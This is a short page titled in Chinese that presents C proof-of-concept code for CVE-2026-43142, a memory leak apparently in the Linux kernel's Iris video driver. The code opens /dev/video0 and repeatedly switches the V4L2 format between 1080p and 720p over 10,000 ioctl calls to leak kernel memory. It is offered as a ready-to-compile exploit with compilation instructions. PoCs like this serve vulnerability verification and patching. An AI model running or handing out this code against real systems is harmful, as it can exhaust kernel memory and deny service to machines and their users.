CVE-2026-43142 Linux内核内存泄漏漏洞

/* * PoC for CVE-2026-43142: Linux Kernel Iris Driver Memory Leak * This PoC attempts to trigger the memory leak by repeatedly changing * the resolution/format of the video device. * Compilation: gcc -o poc_leak poc_leak.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> #define DEVICE "/dev/video0" // Assuming iris driver is registered here #define ITERATIONS 10000 int main() { int fd = -1; struct v4l2_format fmt; int i; fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting resolution change loop to trigger leak...\n"); for (i = 0; i < ITERATIONS; i++) { // Toggle between two resolutions to force buffer reallocation // Resolution A fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; fmt.fmt.pix_mp.width = 1920; fmt.fmt.pix_mp.height = 1080; fmt.fmt.pix_mp.pixelformat = V4L2_PIX_FMT_NV12; ioctl(fd, VIDIOC_S_FMT, &fmt); // Resolution B fmt.fmt.pix_mp.width = 1280; fmt.fmt.pix_mp.height = 720; ioctl(fd, VIDIOC_S_FMT, &fmt); if (i % 100 == 0) { printf("Iteration %d\n", i); } } close(fd); printf("PoC execution completed. Check kernel memory usage.\n"); return 0; }